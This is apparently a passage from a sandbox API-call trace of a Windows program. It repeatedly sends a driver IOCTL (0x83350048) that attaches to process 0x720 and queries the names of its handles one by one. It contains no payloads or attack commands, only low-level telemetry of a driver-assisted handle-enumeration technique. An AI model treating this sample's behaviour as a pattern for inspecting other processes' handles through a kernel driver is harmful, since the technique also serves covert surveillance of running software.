PsReleaseProcessExitSynchronization () returned 0x2 [0081.901] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.901] ObQueryNameString (in: Object=0xfffffa800a665ad0, ObjectNameInfo=0xfffffa800391d044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa800391d044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.901] ObfDereferenceObject (Object=0xfffffa800a665ad0) returned 0x1 [0081.901] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.901] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.901] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.901] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.901] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.901] PsAcquireProcessExitSynchronization () returned 0x0 [0081.901] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.901] ObReferenceObjectByHandle (in: Handle=0x6c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800abf9200, HandleInformation=0x0) returned 0x0 [0081.901] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.901] PsReleaseProcessExitSynchronization () returned 0x2 [0081.901] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.901] ObQueryNameString (in: Object=0xfffffa800abf9200, ObjectNameInfo=0xfffffa800391e044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa800391e044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.901] ObfDereferenceObject (Object=0xfffffa800abf9200) returned 0x1 [0081.901] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.901] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.901] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.901] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.901] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.901] PsAcquireProcessExitSynchronization () returned 0x0 [0081.901] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.901] ObReferenceObjectByHandle (in: Handle=0x70, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8003b911c0, HandleInformation=0x0) returned 0x0 [0081.901] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.901] PsReleaseProcessExitSynchronization () returned 0x2 [0081.901] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.901] ObQueryNameString (in: Object=0xfffffa8003b911c0, ObjectNameInfo=0xfffffa8003922044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003922044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.901] ObfDereferenceObject (Object=0xfffffa8003b911c0) returned 0x1 [0081.901] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.902] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.902] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.902] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.902] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.902] PsAcquireProcessExitSynchronization () returned 0x0 [0081.902] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.902] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800302a6f0, HandleInformation=0x0) returned 0x0 [0081.902] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.902] PsReleaseProcessExitSynchronization () returned 0x2 [0081.902] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.902] ObQueryNameString (in: Object=0xfffffa800302a6f0, ObjectNameInfo=0xfffffa800394b044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa800394b044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.902] ObfDereferenceObject (Object=0xfffffa800302a6f0) returned 0x1 [0081.902] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.902] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.902] NtQueryInformationThread (in: ThreadHandle=0x0, ThreadInformationClass=0x0, ThreadInformation=0x12d508, ThreadInformationLength=0x30, ReturnLength=0x12d4b0 | out: ThreadInformation=0x12d508, ReturnLength=0x12d4b0) returned 0xc0000008 [0081.902] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.902] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.902] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.902] PsAcquireProcessExitSynchronization () returned 0x0 [0081.902] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.902] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a001a39a00, HandleInformation=0x0) returned 0x0 [0081.902] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.902] PsReleaseProcessExitSynchronization () returned 0x2 [0081.902] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.902] ObQueryNameString (in: Object=0xfffff8a001a39a00, ObjectNameInfo=0xfffffa8003955044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003955044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.902] ObfDereferenceObject (Object=0xfffff8a001a39a00) returned 0x1 [0081.902] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.902] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.902] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.902] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.902] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.902] PsAcquireProcessExitSynchronization () returned 0x0 [0081.902] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.903] ObReferenceObjectByHandle (in: Handle=0x84, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8003256160, HandleInformation=0x0) returned 0x0 [0081.903] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.903] PsReleaseProcessExitSynchronization () returned 0x2 [0081.903] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.903] ObQueryNameString (in: Object=0xfffffa8003256160, ObjectNameInfo=0xfffffa8003958044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003958044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.903] ObfDereferenceObject (Object=0xfffffa8003256160) returned 0x6 [0081.903] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.903] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.903] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.903] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.903] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.903] PsAcquireProcessExitSynchronization () returned 0x0 [0081.903] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.903] ObReferenceObjectByHandle (in: Handle=0x88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8002f8eb90, HandleInformation=0x0) returned 0x0 [0081.903] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.903] PsReleaseProcessExitSynchronization () returned 0x2 [0081.903] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.903] ObQueryNameString (in: Object=0xfffffa8002f8eb90, ObjectNameInfo=0xfffffa8003962044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003962044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.903] ObfDereferenceObject (Object=0xfffffa8002f8eb90) returned 0x3 [0081.903] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.903] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.903] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.903] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.903] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.903] PsAcquireProcessExitSynchronization () returned 0x0 [0081.903] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.903] ObReferenceObjectByHandle (in: Handle=0x8c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800fc47440, HandleInformation=0x0) returned 0x0 [0081.903] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.903] PsReleaseProcessExitSynchronization () returned 0x2 [0081.903] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.903] ObQueryNameString (in: Object=0xfffffa800fc47440, ObjectNameInfo=0xfffffa8003963044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003963044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.903] ObfDereferenceObject (Object=0xfffffa800fc47440) returned 0x2 [0081.903] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.904] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.904] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.904] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.904] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.904] PsAcquireProcessExitSynchronization () returned 0x0 [0081.904] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.904] ObReferenceObjectByHandle (in: Handle=0x90, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8003b8ba30, HandleInformation=0x0) returned 0x0 [0081.904] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.904] PsReleaseProcessExitSynchronization () returned 0x2 [0081.904] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.904] ObQueryNameString (in: Object=0xfffffa8003b8ba30, ObjectNameInfo=0xfffffa8003968044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003968044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.904] ObfDereferenceObject (Object=0xfffffa8003b8ba30) returned 0x2 [0081.904] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.904] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.904] NtQueryInformationThread (in: ThreadHandle=0x0, ThreadInformationClass=0x0, ThreadInformation=0x12d508, ThreadInformationLength=0x30, ReturnLength=0x12d4b0 | out: ThreadInformation=0x12d508, ReturnLength=0x12d4b0) returned 0xc0000008 [0081.904] NtQueryInformationThread (in: ThreadHandle=0x0, ThreadInformationClass=0x0, ThreadInformation=0x12d508, ThreadInformationLength=0x30, ReturnLength=0x12d4b0 | out: ThreadInformation=0x12d508, ReturnLength=0x12d4b0) returned 0xc0000008 [0081.904] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.904] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.904] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.904] PsAcquireProcessExitSynchronization () returned 0x0 [0081.904] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.904] ObReferenceObjectByHandle (in: Handle=0x9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8003209970, HandleInformation=0x0) returned 0x0 [0081.904] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.904] PsReleaseProcessExitSynchronization () returned 0x2 [0081.904] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.904] ObQueryNameString (in: Object=0xfffffa8003209970, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.904] ObfDereferenceObject (Object=0xfffffa8003209970) returned 0x2 [0081.904] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.904] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.904] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.904] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.904] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.904] PsAcquireProcessExitSynchronization () returned 0x0 [0081.904] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.904] ObReferenceObjectByHandle (in: Handle=0xa0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8003c84070, HandleInformation=0x0) returned 0x0 [0081.905] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.905] PsReleaseProcessExitSynchronization () returned 0x2 [0081.905] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.905] ObQueryNameString (in: Object=0xfffffa8003c84070, ObjectNameInfo=0xfffffa8003972044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003972044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.905] ObfDereferenceObject (Object=0xfffffa8003c84070) returned 0x4 [0081.905] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.905] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.905] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.905] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.905] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.905] PsAcquireProcessExitSynchronization () returned 0x0 [0081.905] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.905] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80031bef60, HandleInformation=0x0) returned 0x0 [0081.905] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.905] PsReleaseProcessExitSynchronization () returned 0x2 [0081.905] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.905] ObQueryNameString (in: Object=0xfffffa80031bef60, ObjectNameInfo=0xfffffa8003973044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003973044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.905] ObfDereferenceObject (Object=0xfffffa80031bef60) returned 0x1 [0081.905] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.905] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.905] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.905] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.905] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.905] PsAcquireProcessExitSynchronization () returned 0x0 [0081.905] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.905] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8002f94fc0, HandleInformation=0x0) returned 0x0 [0081.905] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.905] PsReleaseProcessExitSynchronization () returned 0x2 [0081.905] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.905] ObQueryNameString (in: Object=0xfffffa8002f94fc0, ObjectNameInfo=0xfffffa8003974044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003974044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.905] ObfDereferenceObject (Object=0xfffffa8002f94fc0) returned 0x1 [0081.905] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.905] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.905] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.905] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.906] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.906] PsAcquireProcessExitSynchronization () returned 0x0 [0081.906] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.906] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800327bc30, HandleInformation=0x0) returned 0x0 [0081.906] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.906] PsReleaseProcessExitSynchronization () returned 0x2 [0081.906] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.906] ObQueryNameString (in: Object=0xfffffa800327bc30, ObjectNameInfo=0xfffffa8003976044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003976044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.906] ObfDereferenceObject (Object=0xfffffa800327bc30) returned 0x1 [0081.906] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.906] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.906] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.906] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.906] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.906] PsAcquireProcessExitSynchronization () returned 0x0 [0081.906] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.906] ObReferenceObjectByHandle (in: Handle=0xb0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8002948da0, HandleInformation=0x0) returned 0x0 [0081.906] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.906] PsReleaseProcessExitSynchronization () returned 0x2 [0081.906] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.906] ObQueryNameString (in: Object=0xfffffa8002948da0, ObjectNameInfo=0xfffffa8003985044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003985044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.906] ObfDereferenceObject (Object=0xfffffa8002948da0) returned 0x1 [0081.906] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.906] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.906] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.906] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.906] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.906] PsAcquireProcessExitSynchronization () returned 0x0 [0081.906] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.906] ObReferenceObjectByHandle (in: Handle=0xb4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8002de4e10, HandleInformation=0x0) returned 0x0 [0081.906] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.906] PsReleaseProcessExitSynchronization () returned 0x2 [0081.906] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.906] ObQueryNameString (in: Object=0xfffffa8002de4e10, ObjectNameInfo=0xfffffa8003987044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003987044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.906] ObfDereferenceObject (Object=0xfffffa8002de4e10) returned 0x2 [0081.906] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.907] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.907] 